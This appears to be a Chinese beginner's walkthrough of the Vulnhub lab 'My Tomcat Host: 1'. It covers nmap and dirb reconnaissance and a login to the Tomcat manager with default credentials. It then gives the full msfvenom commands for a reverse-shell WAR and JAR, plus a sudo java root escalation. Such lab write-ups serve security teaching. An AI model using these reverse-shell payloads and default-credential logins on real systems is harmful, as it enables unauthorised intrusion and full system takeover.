Vulnhub靶机渗透测试实战(一):My Tomcat Host: 1(入门)
这是一个入门级的渗透测试教程,傻瓜式教学,小白也能看的懂
靶机:My Tomcat Host: 1,ip:192.168.187.129
攻击者:kali 2019.2,ip:192.168.187.128
攻击主机kali的安装教程就不给出了,网上有很多
但是网上很少有靶机的安装教程,我来说明一下
(一)下载靶机
下载地址:https://www.vulnhub.com/entry/my-tomcat-host-1,457/,进入页面后会有作者的描述,选择自己想要的难度级别
注释启用DHCP的一定要在虚拟机的网络设置中设置为NAT模式,否则会扫描不到靶机
下载方式,直接下载镜像或者下周压缩包,压缩包解压以后就是镜像
不过我建议下载磁力链接,然后用百度网盘离线下载,最后下载到本地,因为这个站点的网络很不稳定而且不支持断点续传
几个G的资源下一半卡住,最后还得重新下载是很难受的,百度网盘虽然网速可怜但是不会断联。
也可以直接在主页寻找你想挑战的靶机https://www.vulnhub.com/,找到靶机后百度搜索靶机的名字就会有很多渗透教程
下载完成后解压zip然后在VMware或者VirualBox中打开.ova或.ovf文件
导入虚拟机,自定义安装位置,最好不要放在C盘
这里我用的是VMware,网上的建议大多是VirtualBox,但是我VirtualBox导入后扫描不到靶机,无奈只能用VMware了
其实用那个都一样,不过大家如果没有类似问题的话推荐用VirtualBox,这个比较轻量。
导入后运行该虚拟机,会到如下界面,这里默认就行
开启后到如下界面,就不用在管靶机,由于没有账号密码,我们无法进入系统,不过等我们渗透进去,就有办法了
最后将靶机运行在后台,要保证靶机和攻击主机是在同一个内网。下接下来的渗透工作都在kali上进行。
(二)主机发现扫描
使用arp-scan -l命令对在线主机进行扫描,扫描结果如下:
对所有在线主机进行nmap扫描,确定靶机ip
在扫描192.168.187.129这个主机时,发现开着22和8080端口,而我们的靶机就是My Tomcat Host
tomcat服务默认是在8080端口的,所以确定192.168.187.129就是靶机
我们需要知道更详细的关于主机端口,以及服务的版本等信息,接下来再用nmap的其他方式扫描一下
-A 可以扫描出服务版本信息和目标操作系统信息,不同服务的版本有着相应的漏洞可以利用
-p-是对靶机所有1-65535的端口进行发现扫描
如图可知,22端口是ssh服务,为6.6.1版本
8080端口为apache,版本号是9.0.31
操作系统的指纹信息,linux内核为3点多
输入ip:port是可以访问到靶机的网页服务的
(三)网页踩点
先试一下ssh连接靶机,这里是拒绝ssh连接的,也就是说22端口利用不了,那就试试8080端口
找一找网页上能够渗透的点,先用dirb扫一下网页的目录,可以看到manager目录是可以直接访问的
tomcat的默认用户名密码是tomcat和tomcat,如果靶机没有改的话
可以轻松进到管理员界面192.168.187.129:8080/manager
(四)使用Metasploit开始渗透
首先使用msfvenom生成war马
msfvenom是msf用来生成木马的一个工具,它可以用来根据不同的操作环境生成相应的木马。
这里的java/jsp_shell_reverse_tcp就是jsp的环境
LHOST的攻击主机的ip
LPORT是攻击主机的端口
-f war就是将木马输出为.war文件
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
这里的LHOST和LPORT都一定是攻击主机的ip和端口,端口随便找一个不常用的端口,这是要在创建反弹shell时连攻击主机的。
反弹shell的原理大概就是,生成一个木马上传到靶机,然后木马会在靶机上传回一个shell的连接请求,请求连接你的攻击主机,当会话成功建立后,攻击主机就可以执行一些命令控制靶机。这种方式比较隐蔽,但是最难的部分是上传木马并且不被靶机检测出来。
这里上传一个war马
上传完成后点击deploy部署到tomcat服务器上,也就是上传到了靶机
在kali上启动一个msf,一个功能非常强大的一体化渗透工具,基本是所有渗透工具的集合
启动一个句柄,用来连接反弹回来的shell
set(设置)一些选项,这里的选项和之前一致
show options可以展示所有需要设置的选项,Required为yes的为必填项
输入exploit开始尝试连接靶机
然后需要执行一下刚才上传的war马,访问你的war马文件名的目录
得到shell后在命令行输入shell,表示使用shell进行连接,这个会话命名为session 4
看到sh-4.2$说明进入了靶机的shell命令行,但是还没有拿到root权限
可以搜集到当前的用户信息和linux内核信息
当前用户为tomcat,当前内核为linux 3.10.0
尝试一下gcc用不了
执行sudo -l可以看到靶机sudo权限可以执行的命令
可以看到sudo权限可以执行java
再用msfvenom生成一个jar包,上传到自己的服务器上(这里的服务器可以自己用apache搭一个)
msfvenom —platform java -f jar -p java/shell_reverse_tcp LHOST=192.168.187.128 LPORT=7777 -o payload.jar
然后在靶机上wget下载下来
再启动一个msf,注意不要关闭这个session 4 ,然后重新设置一个句柄,输入show options 可以查看设置
payload 设置为java/shell_reverse_tcp
lhost设置为攻击主机的ip:192.168.187.128
lport重新设置一个不常用端口:7777
输入exploit执行
在session 4中执行jar包:sudo -u root java -jar payload.jar
另一个msf也连接到了靶机的shell,命名为session 6,此时输入shell进入shell命令行,ls查看列表,id查看当前用户权限为root
恭喜你成功拿到了靶机的root权限!